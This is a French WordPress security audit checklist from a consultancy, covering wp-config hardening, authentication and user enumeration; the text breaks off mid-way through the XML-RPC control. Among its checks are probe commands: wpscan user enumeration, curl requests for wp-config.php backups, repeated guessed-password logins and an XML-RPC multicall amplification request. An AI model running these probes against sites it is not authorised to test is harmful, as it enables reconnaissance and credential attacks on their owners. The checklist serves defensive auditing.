📝

Checklist Sécurité ANC

Checklist Sécurité WordPress 2026 : 87 Contrôles Audit — wp-config, WAF, Plugins, BDD

📋 34 sections ✅ 87 contrôles 📄 27158 mots 🔄 Version 1.0 · Mars 2026

À quoi sert cette checklist ?

Cette checklist vous permet d'auditer méthodiquement la sécurité de votre environnement WordPress en vérifiant point par point chaque contrôle de sécurité critique. Utilisez-la pour identifier les failles de configuration, prioriser les remédiations et documenter votre posture de sécurité — que ce soit dans le cadre d'un audit interne, d'une mise en conformité (ISO 27001, NIS2, HDS) ou d'un durcissement préventif.

87 contrôles sécurité WordPress : wp-config durci, plugins vérifiés, WAF configuré, SSL/TLS, .htaccess, base de données, sauvegardes chiffrées et monitoring. Audit sécurité 2026.

Checklist d'audit sécurité WordPress couvrant la configuration wp-config.php, la gestion des plugins et thèmes, le durcissement de la base de données, les règles .htaccess, la configuration SSL/TLS, le déploiement WAF, les stratégies de sauvegarde et le monitoring en continu.

Cette checklist a été conçue par les experts Ayi NEDJIMI Consultants à partir de retours d'expérience terrain, des référentiels CIS Benchmarks, des recommandations ANSSI et des bonnes pratiques observées lors de nos missions d'audit. Chaque point de contrôle inclut la commande de vérification, le seuil de conformité et la procédure de remédiation associée. Disponible en PDF et Excel — téléchargement gratuit, aucune inscription requise.

📄 CHECKLIST PDF SÉCURITÉ WordPress 📊 CHECKLIST EXCEL SÉCURITÉ WordPress

CHECKLIST SÉCURITÉ AUDIT SITE WEB WORDPRESS

AYI NEDJIMI CONSULTANTS (ANC)

Version : 1.0
\nDate : 04/04/2026
\nClassification : CONFIDENTIEL
\nAuteur : AYI NEDJIMI CONSULTANTS
\nType d'audit : Audit de Sécurité Site Web WordPress

? LÉGENDE

Statut d'Évaluation

✅ Conforme - Le contrôle est correctement implémenté
❌ Non-conforme - Le contrôle n'est pas implémenté ou défaillant
⚠️ Partiellement conforme - Le contrôle est partiellement implémenté
N/A Non applicable - Le contrôle ne s'applique pas au contexte

Niveau de Criticité

? Critique - Risque très élevé, correction immédiate requise
? Élevé - Risque élevé, correction prioritaire
? Moyen - Risque modéré, correction à planifier
? Faible - Risque faible, amélioration recommandée

⚡ MODE DÉCOUVERTE RAPIDE — 15 QUESTIONS CLÉS

Cette section permet une évaluation rapide des points critiques de sécurité WordPress en 15 minutes.

DR.1 — Version WordPress Actuelle

Question : La version WordPress est-elle à jour (< 30 jours) ?
\nVérification :

wpscan --url https://example.com --enumerate vp\nwp core check-update\n

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

DR.2 — Plugins et Thèmes à Jour

Question : Tous les plugins et thèmes sont-ils à jour et exempts de vulnérabilités connues ?
\nVérification :

wpscan --url https://example.com --enumerate vp,vt --plugins-detection aggressive\nwp plugin list --update=available\n

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

DR.3 — Pare-feu Applicatif (WAF)

Question : Un WAF est-il configuré et actif (Wordfence, Sucuri, Cloudflare) ?
\nVérification : Test d'injection SQL basique, vérification headers
\nStatut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

DR.4 — Sauvegardes Automatisées

Question : Des sauvegardes automatisées sont-elles configurées et testées ?
\nVérification : Vérification plugin backup, planification, stockage externe
\nStatut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

DR.5 — Authentification Multi-Facteurs (2FA)

Question : La 2FA est-elle activée pour tous les comptes administrateurs ?
\nVérification : Test connexion admin, plugin 2FA installé
\nStatut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

DR.6 — SSL/TLS et HTTPS Forcé

Question : Le site utilise-t-il exclusivement HTTPS avec un certificat valide ?
\nVérification :

curl -s -I https://example.com | grep -i strict-transport-security\nopenssl s_client -connect example.com:443 -servername example.com\n

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

DR.7 — XML-RPC Désactivé

Question : XML-RPC est-il désactivé pour prévenir les attaques par déni de service ?
\nVérification :

curl -X POST https://example.com/xmlrpc.php -d "<?xml version='1.0'?><methodCall><methodName>system.listMethods</methodName></methodCall>"\n

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

DR.8 — REST API Sécurisée

Question : L'API REST WordPress est-elle restreinte et authentifiée ?
\nVérification :

curl https://example.com/wp-json/wp/v2/users/\ncurl https://example.com/wp-json/wp/v2/posts/\n

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

DR.9 — Permissions Fichiers Correctes

Question : Les permissions fichiers suivent-elles les recommandations (644/755) ?
\nVérification : wp-config.php (600), .htaccess (644), répertoires (755)
\nStatut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

DR.10 — wp-config.php Protégé

Question : Le fichier wp-config.php est-il protégé contre l'accès web direct ?
\nVérification :

curl -s https://example.com/wp-config.php\ncurl -s https://example.com/wp-config.php.bak\n

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

DR.11 — Utilisateurs Administrateurs Minimaux

Question : Le nombre d'utilisateurs admin est-il minimal et justifié ?
\nVérification :

wp user list --role=administrator\nwpscan --url https://example.com --enumerate u\n

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

DR.12 — Headers de Sécurité HTTP

Question : Les headers de sécurité essentiels sont-ils configurés ?
\nVérification :

curl -s -I https://example.com | grep -E "X-Frame-Options|X-Content-Type-Options|Content-Security-Policy"\n

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

DR.13 — Base de Données Sécurisée

Question : La base de données utilise-t-elle un préfixe personnalisé et des privilèges minimaux ?
\nVérification : Inspection wp-config.php, test connexion DB
\nStatut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

DR.14 — Monitoring et Journalisation

Question : Un système de monitoring des activités suspectes est-il en place ?
\nVérification : Plugin d'audit log, alertes de sécurité configurées
\nStatut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

DR.15 — Plan de Réponse aux Incidents

Question : Un plan de réponse aux incidents de sécurité est-il documenté ?
\nVérification : Documentation disponible, contacts d'urgence définis
\nStatut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

? INFORMATIONS CLIENT

Informations Générales

URL du site : ________
Environnement : ☐ Production ☐ Staging ☐ Développement
Date d'audit : ________
Auditeur : ______

Configuration Technique

Version WordPress : _________
Version PHP : _________
Version MySQL/MariaDB : _____
Serveur Web : ☐ Apache ☐ Nginx ☐ LiteSpeed ☐ IIS
Hébergeur : _____
Type d'hébergement : ☐ Shared ☐ VPS ☐ Dédié ☐ Cloud ☐ Infogéré

Plugins et Thèmes

Nombre de plugins actifs : ________
Nombre de plugins inactifs : _______
Thème actif : _________
Child theme utilisé : ☐ Oui ☐ Non
Thèmes inactifs : _____

Utilisateurs et Trafic

Nombre d'administrateurs : ________
Nombre total d'utilisateurs : ______
Trafic mensuel (visiteurs uniques) : _____
Pics de trafic identifiés : ________

Sécurité Existante

Plugin de sécurité installé : ☐ Wordfence ☐ Sucuri ☐ iThemes Security ☐ All In One WP Security ☐ Autre : __
WAF externe : ☐ Cloudflare ☐ Sucuri ☐ AWS WAF ☐ Autre : __
Service de backup : ☐ UpdraftPlus ☐ BackWPup ☐ VaultPress ☐ Hébergeur ☐ Autre : __

?️ SECTIONS D'AUDIT DÉTAILLÉES

S1 — INSTALLATION & CONFIGURATION DE BASE (20 contrôles)

Cette section couvre les aspects fondamentaux de l'installation et de la configuration sécurisée de WordPress.

1.1.1 — Version WordPress Actuelle et Supportée

Niveau : ?
\nRéférence : OWASP A06 / CIS WordPress 1.1 / NIST 800-53 SI-2
\nMITRE ATT&CK : T1190

Description : WordPress doit être maintenu à jour avec la dernière version stable. Les versions obsolètes contiennent des vulnérabilités critiques exploitées activement par les attaquants. Une mise à jour dans les 30 jours suivant la publication est recommandée.

Vérification :

# Vérification avec WPScan\nwpscan --url https://example.com --enumerate vp --no-banner\n# Vérification via wp-cli\nwp core check-update\nwp core version\n# Vérification manuelle\ncurl -s https://example.com/ | grep -o 'content="WordPress [0-9.]*"'\n

Remédiation :
\n1. Effectuer une sauvegarde complète avant mise à jour
\n2. Tester en environnement de staging

wp core update\nwp core update-db\n

Activer les mises à jour automatiques mineures :

// Dans wp-config.php\ndefine( 'WP_AUTO_UPDATE_CORE', 'minor' );\n

Valeur par défaut : Mises à jour automatiques mineures activées depuis WordPress 3.7

1.1.2 — Version PHP Supportée et Sécurisée

Niveau : ?
\nRéférence : OWASP A06 / CIS WordPress 1.2 / NIST 800-53 SI-2
\nMITRE ATT&CK : T1190

Description : PHP doit être maintenu dans une version supportée officiellement (PHP 8.0+). Les versions obsolètes de PHP présentent des vulnérabilités de sécurité critiques et des problèmes de performance.

Vérification :

# Via wp-cli\nwp eval "echo PHP_VERSION;"\n# Via WPScan\nwpscan --url https://example.com --enumerate vp --no-banner | grep -i php\n# Test direct\ncurl -s https://example.com/wp-content/themes/twentytwentyone/index.php\n

Remédiation :
\n1. Mettre à niveau vers PHP 8.1+ minimum
\n2. Configurer php.ini sécurisé :

expose_php = Off\nallow_url_fopen = Off\nallow_url_include = Off\ndisplay_errors = Off\nlog_errors = On\n

Valeur par défaut : Dépend de l'hébergeur, souvent PHP 7.4 ou antérieur

1.1.3 — Configuration wp-config.php Sécurisée

Niveau : ?
\nRéférence : OWASP A05 / CIS WordPress 2.1 / NIST 800-53 AC-3
\nMITRE ATT&CK : T1005

Description : Le fichier wp-config.php contient les informations de connexion à la base de données et les clés de sécurité. Il doit être protégé contre l'accès web direct et configuré avec les bonnes pratiques de sécurité.

Vérification :

# Test accès direct\ncurl -s https://example.com/wp-config.php\ncurl -s https://example.com/wp-config.php.bak\n# Vérification permissions\nls -la wp-config.php\n# Vérification contenu (sur serveur)\ngrep -E "(DB_PASSWORD|AUTH_KEY)" wp-config.php\n

Remédiation :
\n1. Déplacer wp-config.php hors de web root ou protéger via .htaccess :

<Files wp-config.php>\norder allow,deny\ndeny from all\n</Files>\n

Définir les permissions appropriées :

chmod 600 wp-config.php\n

Ajouter les constantes de sécurité essentielles

Valeur par défaut : Permissions 644, souvent accessible via web

1.1.4 — Clés de Sécurité SALT Configurées

Niveau : ?
\nRéférence : OWASP A02 / CIS WordPress 2.2 / NIST 800-53 SC-12
\nMITRE ATT&CK : T1552

Description : Les clés SALT renforcent la sécurité des cookies et des sessions utilisateurs. Elles doivent être uniques, complexes et changées régulièrement pour prévenir les attaques de décryptage.

Vérification :

# Vérification présence des clés\ngrep -E "(AUTH_KEY|SECURE_AUTH_KEY|LOGGED_IN_KEY|NONCE_KEY)" wp-config.php\n# Test avec wp-cli\nwp config get AUTH_KEY\nwp config get SECURE_AUTH_KEY\n

Remédiation :
\n1. Générer de nouvelles clés via https://api.wordpress.org/secret-key/1.1/salt/
\n2. Ajouter dans wp-config.php :

define('AUTH_KEY',         'votre-clé-unique-ici');\ndefine('SECURE_AUTH_KEY',  'votre-clé-unique-ici');\ndefine('LOGGED_IN_KEY',    'votre-clé-unique-ici');\ndefine('NONCE_KEY',        'votre-clé-unique-ici');\ndefine('AUTH_SALT',        'votre-clé-unique-ici');\ndefine('SECURE_AUTH_SALT', 'votre-clé-unique-ici');\ndefine('LOGGED_IN_SALT',   'votre-clé-unique-ici');\ndefine('NONCE_SALT',       'votre-clé-unique-ici');\n

Renouveler les clés tous les 6 mois

Valeur par défaut : Clés par défaut ou vides lors de l'installation

1.1.5 — Préfixe Table Base de Données Personnalisé

Niveau : ?
\nRéférence : OWASP A03 / CIS WordPress 2.3 / NIST 800-53 SC-28
\nMITRE ATT&CK : T1190

Description : Le préfixe par défaut "wp_" facilite les attaques d'injection SQL automatisées. Un préfixe personnalisé ajoute une couche d'obscurité contre les attaques génériques.

Vérification :

# Via wp-config.php\ngrep "table_prefix" wp-config.php\n# Via wp-cli\nwp config get table_prefix\n# Test base de données\nmysql -e "SHOW TABLES LIKE 'wp_%'" database_name\n

Remédiation :
\n1. Avant installation, modifier wp-config.php :

$table_prefix = 'xyz123_';\n

Pour une installation existante, utiliser un plugin ou script :

wp search-replace "wp_" "xyz123_" --dry-run\nwp db export backup.sql\n# Puis renommer les tables manuellement\n

Valeur par défaut : wp_

1.1.6 — Mode Debug Désactivé en Production

Niveau : ?
\nRéférence : OWASP A09 / CIS WordPress 2.4 / NIST 800-53 SI-11
\nMITRE ATT&CK : T1005

Description : Le mode debug révèle des informations sensibles sur la structure du site et les erreurs système. Il doit être désactivé en production pour éviter la divulgation d'informations.

Vérification :

# Vérification wp-config.php\ngrep "WP_DEBUG" wp-config.php\n# Test via wp-cli\nwp config get WP_DEBUG\n# Forcer une erreur pour tester\ncurl -s https://example.com/?debug=1\n

Remédiation :
\n1. Dans wp-config.php :

define('WP_DEBUG', false);\ndefine('WP_DEBUG_LOG', false);\ndefine('WP_DEBUG_DISPLAY', false);\ndefine('SCRIPT_DEBUG', false);\n

Supprimer le fichier debug.log existant :

rm wp-content/debug.log\n

Valeur par défaut : WP_DEBUG false

1.1.7 — Édition de Fichiers Désactivée

Niveau : ?
\nRéférence : OWASP A01 / CIS WordPress 2.5 / NIST 800-53 AC-6
\nMITRE ATT&CK : T1105

Description : L'éditeur de fichiers intégré à WordPress permet de modifier les thèmes et plugins depuis l'interface d'administration. Cette fonctionnalité représente un risque majeur en cas de compromission d'un compte administrateur.

Vérification :

# Vérification wp-config.php\ngrep "DISALLOW_FILE_EDIT" wp-config.php\n# Test interface admin\n# Aller dans Apparence > Éditeur de thème\n

Remédiation :
\n1. Ajouter dans wp-config.php :

define('DISALLOW_FILE_EDIT', true);\n

Vérifier que le menu "Éditeur" disparaît de l'admin

Valeur par défaut : Édition activée

1.1.8 — Installation de Plugins/Thèmes Contrôlée

Niveau : ?
\nRéférence : OWASP A01 / CIS WordPress 2.6 / NIST 800-53 CM-7
\nMITRE ATT&CK : T1505

Description : Restreindre l'installation de plugins et thèmes depuis l'interface d'administration réduit les risques d'installation de code malveillant en cas de compromission.

Vérification :

# Vérification wp-config.php\ngrep -E "(DISALLOW_FILE_MODS|WP_FILESYSTEM_METHOD)" wp-config.php\n# Test interface admin - tentative d'installation\n

Remédiation :
\n1. Pour désactiver complètement :

define('DISALLOW_FILE_MODS', true);\n

Pour contrôler les permissions :

define('FS_METHOD', 'direct');\ndefine('WP_FILESYSTEM_METHOD', 'direct');\n

Valeur par défaut : Installation libre pour les administrateurs

1.1.9 — Révisions de Posts Limitées

Niveau : ?
\nRéférence : CIS WordPress 2.7 / NIST 800-53 SC-28
\nMITRE ATT&CK : T1005

Description : WordPress conserve par défaut un historique illimité des révisions d'articles. Limiter ce nombre évite l'accumulation de données sensibles et améliore les performances.

Vérification :

# Vérification wp-config.php\ngrep "WP_POST_REVISIONS" wp-config.php\n# Via wp-cli\nwp config get WP_POST_REVISIONS\n# Compter les révisions existantes\nwp post list --post_type=revision --format=count\n

Remédiation :
\n1. Limiter les révisions dans wp-config.php :

define('WP_POST_REVISIONS', 3);\n

Nettoyer les révisions existantes :

wp post delete $(wp post list --post_type=revision --format=ids) --force\n

Valeur par défaut : Révisions illimitées

1.1.10 — Corbeille Automatique Configurée

Niveau : ?
\nRéférence : CIS WordPress 2.8 / NIST 800-53 SC-28
\nMITRE ATT&CK : T1005

Description : Les éléments supprimés restent dans la corbeille WordPress indéfiniment par défaut. Configurer une purge automatique évite l'accumulation de contenu supprimé potentiellement sensible.

Vérification :

# Vérification wp-config.php\ngrep "EMPTY_TRASH_DAYS" wp-config.php\n# Vérifier contenu corbeille\nwp post list --post_status=trash --format=count\n

Remédiation :
\n1. Configurer la purge automatique :

define('EMPTY_TRASH_DAYS', 7);\n

Purger manuellement la corbeille :

wp post delete $(wp post list --post_status=trash --format=ids) --force\n

Valeur par défaut : 30 jours

1.1.11 — Version MySQL/MariaDB Supportée

Niveau : ��
\nRéférence : OWASP A06 / CIS WordPress 1.3 / NIST 800-53 SI-2
\nMITRE ATT&CK : T1190

Description : La base de données doit utiliser une version supportée de MySQL (8.0+) ou MariaDB (10.3+). Les versions obsolètes contiennent des vulnérabilités critiques et manquent de fonctionnalités de sécurité modernes.

Vérification :

# Via wp-cli\nwp db version\n# Connexion directe\nmysql -V\n# Via PHP\nwp eval "echo 'MySQL: ' . $wpdb->db_version();"\n

Remédiation :
\n1. Mettre à niveau vers MySQL 8.0+ ou MariaDB 10.5+
\n2. Vérifier la compatibilité WordPress après migration
\n3. Optimiser les paramètres de sécurité MySQL

Valeur par défaut : Dépend de l'hébergeur

1.1.12 — Constantes de Sécurité Avancées

Niveau : ?
\nRéférence : OWASP A05 / CIS WordPress 2.9 / NIST 800-53 SC-8
\nMITRE ATT&CK : T1040

Description : WordPress offre plusieurs constantes pour renforcer la sécurité : forcer HTTPS, sécuriser les cookies, contrôler les redirections. Ces configurations durcissent la sécurité globale.

Vérification :

# Vérifier les constantes de sécurité\ngrep -E "(FORCE_SSL_ADMIN|COOKIE_DOMAIN|WP_HTTP_BLOCK_EXTERNAL)" wp-config.php\n

Remédiation :
\n1. Ajouter les constantes de sécurité :

define('FORCE_SSL_ADMIN', true);\ndefine('COOKIE_DOMAIN', '.example.com');\ndefine('COOKIEHASH', md5('example.com'));\ndefine('WP_HTTP_BLOCK_EXTERNAL', true);\ndefine('WP_ACCESSIBLE_HOSTS', 'api.wordpress.org,*.github.com');\n

Valeur par défaut : Non configurées

1.1.13 — Répertoire wp-content Personnalisé

Niveau : ?
\nRéférence : CIS WordPress 2.10 / NIST 800-53 SC-28
\nMITRE ATT&CK : T1083

Description : Personnaliser le répertoire wp-content ajoute une couche d'obscurité et complique la reconnaissance automatisée de l'architecture WordPress par les attaquants.

Vérification :

# Vérification wp-config.php\ngrep -E "(WP_CONTENT_DIR|WP_CONTENT_URL)" wp-config.php\n# Structure répertoires\nls -la | grep -v wp-content\n

Remédiation :
\n1. Avant installation, dans wp-config.php :

define('WP_CONTENT_DIR', ABSPATH . 'assets/');\ndefine('WP_CONTENT_URL', 'https://example.com/assets/');\n

Déplacer le répertoire wp-content vers assets/
Mettre à jour les liens dans la base de données

Valeur par défaut : wp-content/

1.1.14 — URL d'Administration Personnalisée

Niveau : ?
\nRéférence : CIS WordPress 2.11 / NIST 800-53 SC-28
\nMITRE ATT&CK : T1083

Description : Modifier l'URL d'accès à l'administration (/wp-admin/) réduit l'exposition aux attaques par force brute automatisées qui ciblent l'URL standard.

Vérification :

# Test accès standard\ncurl -s -I https://example.com/wp-admin/\ncurl -s -I https://example.com/wp-login.php\n# Vérifier plugin de sécurité installé\nwp plugin list | grep -i security\n

Remédiation :
\n1. Utiliser un plugin comme "WPS Hide Login" :

wp plugin install wps-hide-login --activate\nwp option update whl_page "admin-secure-$(openssl rand -hex 6)"\n

Ou via .htaccess (méthode avancée) :

RewriteRule ^admin-secret/?$ /wp-admin/ [L]\nRewriteRule ^wp-admin/$ /404/ [L]\n

Valeur par défaut : /wp-admin/ et /wp-login.php

1.1.15 — Suppression Fichiers par Défaut

Niveau : ?
\nRéférence : OWASP A09 / CIS WordPress 2.12 / NIST 800-53 CM-7
\nMITRE ATT&CK : T1083

Description : WordPress installe des fichiers par défaut qui révèlent des informations sur la version et la configuration : readme.html, license.txt, wp-config-sample.php. Ces fichiers doivent être supprimés.

Vérification :

# Test présence fichiers par défaut\ncurl -s https://example.com/readme.html\ncurl -s https://example.com/license.txt\ncurl -s https://example.com/wp-config-sample.php\nls -la readme.html license.txt wp-config-sample.php\n

Remédiation :
\n1. Supprimer les fichiers sensibles :

rm readme.html license.txt wp-config-sample.php\nrm wp-admin/install.php wp-admin/upgrade.php\n

Bloquer via .htaccess :

<FilesMatch "(readme|license|changelog|install)">\nOrder allow,deny\nDeny from all\n</FilesMatch>\n

Valeur par défaut : Fichiers présents après installation

1.1.16 — Configuration Memory Limit Appropriée

Niveau : ?
\nRéférence : CIS WordPress 1.4 / NIST 800-53 SI-7
\nMITRE ATT&CK : T1498

Description : Une limite mémoire insuffisante peut causer des erreurs et des vulnérabilités. Une limite trop élevée peut permettre des attaques par déni de service. La valeur doit être équilibrée selon les besoins.

Vérification :

# Via wp-cli\nwp eval "echo 'Memory Limit: ' . ini_get('memory_limit');"\n# Via WPScan\nwpscan --url https://example.com --enumerate vp | grep -i memory\n

Remédiation :
\n1. Dans wp-config.php :

ini_set('memory_limit', '256M');\ndefine('WP_MEMORY_LIMIT', '256M');\ndefine('WP_MAX_MEMORY_LIMIT', '512M');\n

Surveiller l'utilisation mémoire réelle

Valeur par défaut : 40M ou 128M selon la configuration

1.1.17 — Configuration Timezone Sécurisée

Niveau : ?
\nRéférence : CIS WordPress 2.13 / NIST 800-53 AU-8
\nMITRE ATT&CK : T1070

Description : Un fuseau horaire correct est essentiel pour la synchronisation des logs, la planification des tâches et la corrélation d'événements de sécurité. Les timestamps incorrects compliquent l'analyse forensique.

Vérification :

# Via wp-cli\nwp option get timezone_string\nwp eval "echo date_default_timezone_get();"\n# Interface admin\n# Réglages > Général > Fuseau horaire\n

Remédiation :
\n1. Configurer le fuseau horaire :

wp option update timezone_string "Europe/Paris"\n

Dans wp-config.php :

date_default_timezone_set('Europe/Paris');\n

Valeur par défaut : UTC ou fuseau du serveur

1.1.18 — Limitation Taille Upload Sécurisée

Niveau : ?
\nRéférence : OWASP A04 / CIS WordPress 2.14 / NIST 800-53 SI-10
\nMITRE ATT&CK : T1105

Description : Limiter la taille des fichiers uploadés prévient les attaques par déni de service et réduit les risques d'upload de fichiers malveillants volumineux.

Vérification :

# Via wp-cli\nwp eval "echo 'Upload Max: ' . ini_get('upload_max_filesize');"\nwp eval "echo 'Post Max: ' . ini_get('post_max_size');"\n# Interface admin\n# Médias > Ajouter\n

Remédiation :
\n1. Dans wp-config.php :

ini_set('upload_max_filesize', '10M');\nini_set('post_max_size', '10M');\nini_set('max_execution_time', 60);\n

Via .htaccess :

php_value upload_max_filesize 10M\nphp_value post_max_size 10M\n

Valeur par défaut : 2M à 32M selon l'hébergeur

1.1.19 — Configuration Cron Sécurisée

Niveau : ?
\nRéférence : CIS WordPress 2.15 / NIST 800-53 CM-6
\nMITRE ATT&CK : T1053

Description : Le système cron WordPress (wp-cron) peut être exploité pour des attaques par déni de service. Le désactiver et utiliser le cron système améliore la sécurité et les performances.

Vérification :

# Vérifier wp-config.php\ngrep "DISABLE_WP_CRON" wp-config.php\n# Tester wp-cron\ncurl https://example.com/wp-cron.php\nwp cron event list\n

Remédiation :
\n1. Désactiver wp-cron dans wp-config.php :

define('DISABLE_WP_CRON', true);\n

Configurer cron système :

# Crontab\n*/15 * * * * curl -s https://example.com/wp-cron.php >/dev/null 2>&1\n

Valeur par défaut : wp-cron activé

1.1.20 — Configuration Error Reporting Sécurisée

Niveau : ?
\nRéférence : OWASP A09 / CIS WordPress 2.16 / NIST 800-53 SI-11
\nMITRE ATT&CK : T1005

Description : Les erreurs PHP affichées peuvent révéler des informations sensibles sur la structure du serveur et les chemins de fichiers. L'affichage doit être désactivé en production.

Vérification :

# Forcer une erreur PHP\ncurl -s "https://example.com/wp-content/themes/active-theme/functions.php"\n# Vérifier configuration\nwp eval "echo 'Display Errors: ' . ini_get('display_errors');"\n

Remédiation :
\n1. Dans wp-config.php :

ini_set('display_errors', 0);\nini_set('log_errors', 1);\nini_set('error_log', ABSPATH . 'wp-content/debug.log');\n

Protéger le fichier de log :

<Files debug.log>\nOrder allow,deny\nDeny from all\n</Files>\n

Valeur par défaut : Dépend de la configuration PHP

S2 — AUTHENTIFICATION & GESTION DES UTILISATEURS (25 contrôles)

Cette section traite de la sécurité des comptes utilisateurs, de l'authentification et des contrôles d'accès.

2.1.1 — Politique de Mots de Passe Forte

Niveau : ?
\nRéférence : OWASP A07 / CIS WordPress 3.1 / NIST 800-53 IA-5
\nMITRE ATT&CK : T1110.001

Description : WordPress ne impose pas de politique de mots de passe par défaut. Des mots de passe faibles facilitent les attaques par force brute et par dictionnaire. Une politique stricte est essentielle pour la sécurité des comptes.

Vérification :

# Énumérer les utilisateurs\nwp user list --field=user_login\nwpscan --url https://example.com --enumerate u --no-banner\n# Tester force brute (avec autorisation)\nwp user check-password admin password123\n

Remédiation :
\n1. Installer un plugin de politique de mots de passe :

wp plugin install force-strong-passwords --activate\n

Ou ajouter dans functions.php :

function enforce_strong_passwords($errors, $update, $user) {\n    $password = $_POST['pass1'];\n    if (!empty($password) && strlen($password) < 12) {\n        $errors->add('weak_password', 'Le mot de passe doit contenir au moins 12 caractères.');\n    }\n    return $errors;\n}\nadd_action('user_profile_update_errors', 'enforce_strong_passwords', 10, 3);\n

Valeur par défaut : Aucune politique appliquée

2.1.2 — Authentification Multi-Facteurs (2FA/MFA)

Niveau : ?
\nRéférence : OWASP A07 / CIS WordPress 3.2 / NIST 800-53 IA-2
\nMITRE ATT&CK : T1110

Description : L'authentification à deux facteurs est cruciale pour protéger les comptes administrateurs. Elle ajoute une couche de sécurité même en cas de compromission du mot de passe.

Vérification :

# Vérifier plugins 2FA installés\nwp plugin list | grep -iE "(two|2fa|authenticator|otp)"\n# Tester connexion admin sans 2FA\ncurl -d "log=admin&pwd=password" https://example.com/wp-login.php\n

Remédiation :
\n1. Installer un plugin 2FA réputé :

wp plugin install two-factor --activate\n# ou\nwp plugin install google-authenticator --activate\n# ou\nwp plugin install wordfence --activate\n

Configurer pour tous les administrateurs
Forcer l'activation pour les rôles sensibles

Valeur par défaut : Non activée

2.1.3 — Limitation Tentatives de Connexion

Niveau : ?
\nRéférence : OWASP A07 / CIS WordPress 3.3 / NIST 800-53 AC-7
\nMITRE ATT&CK : T1110.001

Description : WordPress permet un nombre illimité de tentatives de connexion par défaut, facilitant les attaques par force brute. Limiter les tentatives et implémenter un délai progressif est essentiel.

Vérification :

# Tester attaque force brute\ncurl -d "log=admin&pwd=wrong1" https://example.com/wp-login.php\ncurl -d "log=admin&pwd=wrong2" https://example.com/wp-login.php\ncurl -d "log=admin&pwd=wrong3" https://example.com/wp-login.php\n# Vérifier si compte bloqué\n

Remédiation :
\n1. Plugin de limitation des tentatives :

wp plugin install limit-login-attempts-reloaded --activate\nwp option update limit_login_allowed_retries 3\nwp option update limit_login_lockout_duration 1800\n

Ou via Wordfence :

wp plugin install wordfence --activate\n

Valeur par défaut : Tentatives illimitées

2.1.4 — Protection reCAPTCHA

Niveau : ?
\nRéférence : OWASP A07 / CIS WordPress 3.4 / NIST 800-53 SI-3
\nMITRE ATT&CK : T1110.003

Description : L'intégration de reCAPTCHA sur les formulaires de connexion, d'inscription et de contact prévient les attaques automatisées et le spam.

Vérification :

# Vérifier présence reCAPTCHA sur wp-login\ncurl -s https://example.com/wp-login.php | grep -i recaptcha\ncurl -s https://example.com/wp-login.php | grep -i "google.com/recaptcha"\n

Remédiation :
\n1. Installer un plugin reCAPTCHA :

wp plugin install google-captcha --activate\n

Configurer les clés API Google reCAPTCHA
Activer sur : connexion, inscription, commentaires, contact

Valeur par défaut : Non configuré

2.1.5 — Gestion Roles Utilisateurs Restrictive

Niveau : ?
\nRéférence : OWASP A01 / CIS WordPress 3.5 / NIST 800-53 AC-6
\nMITRE ATT&CK : T1078

Description : Appliquer le principe du moindre privilège en assignant les rôles minimaux nécessaires. Éviter la prolifération des comptes administrateurs et auditer régulièrement les permissions.

Vérification :

# Lister utilisateurs par rôle\nwp user list --role=administrator --format=table\nwp user list --role=editor --format=table\nwp user list --format=table --fields=user_login,roles\n# Énumération externe\nwpscan --url https://example.com --enumerate u1-100 --no-banner\n

Remédiation :
\n1. Auditer et réduire les administrateurs :

wp user set-role user2 editor\nwp user set-role user3 author\n

Créer des rôles personnalisés si nécessaire :

wp plugin install members --activate\n

Supprimer les comptes inutiles :

wp user delete unused_user --reassign=1\n

Valeur par défaut : Rôle admin souvent sur-utilisé

2.1.6 — Prévention Énumération Utilisateurs

Niveau : ?
\nRéférence : OWASP A01 / CIS WordPress 3.6 / NIST 800-53 SC-28
\nMITRE ATT&CK : T1087

Description : WordPress permet l'énumération des utilisateurs via diverses méthodes (?author=1, /wp-json/wp/v2/users/, etc.). Cette information facilite les attaques ciblées et doit être bloquée.

Vérification :

# Test énumération classique\ncurl -s "https://example.com/?author=1" | grep -o "author/[^/]*"\ncurl -s "https://example.com/wp-json/wp/v2/users/" | jq '.[].slug'\n# Via WPScan\nwpscan --url https://example.com --enumerate u --no-banner\n

Remédiation :
\n1. Bloquer via .htaccess :

# Bloquer énumération ?author=\nRewriteCond %{QUERY_STRING} ^author=([0-9]+) [NC]\nRewriteRule ^(.*)$ /? [R=301,L]\n\n# Bloquer API users\nRewriteRule ^wp-json/wp/v2/users /404 [R=404,L]\n

Ou via functions.php :

// Bloquer énumération utilisateurs\nadd_action('wp', 'prevent_user_enumeration');\nfunction prevent_user_enumeration() {\n    if (is_author() || (isset($_GET['author']) && !is_admin())) {\n        wp_redirect(home_url(), 301);\n        exit;\n    }\n}\n

Valeur par défaut : Énumération possible

2.1.7 — Désactivation XML-RPC

Niveau : ?
\nRéférence : OWASP A10 / CIS WordPress 3.7 / NIST 800-53 CM-7
\nMITRE ATT&CK : T1190

Description : XML-RPC permet l'accès distant à WordPress mais est souvent exploité pour des attaques par amplification DDoS et force brute. Il doit être désactivé si non utilisé.

Vérification :

# Test XML-RPC actif\ncurl -X POST https://example.com/xmlrpc.php \\\n  -d "<?xml version='1.0'?><methodCall><methodName>system.listMethods</methodName></methodCall>"\n# Test attaque amplification\ncurl -X POST https://example.com/xmlrpc.php \\\n  -d "<?xml version='1.0'?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data><value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member></struct></value></data></array></value></param></params></methodCall>"\n

Remédiation :
\n1. Désactiver via functions.php :

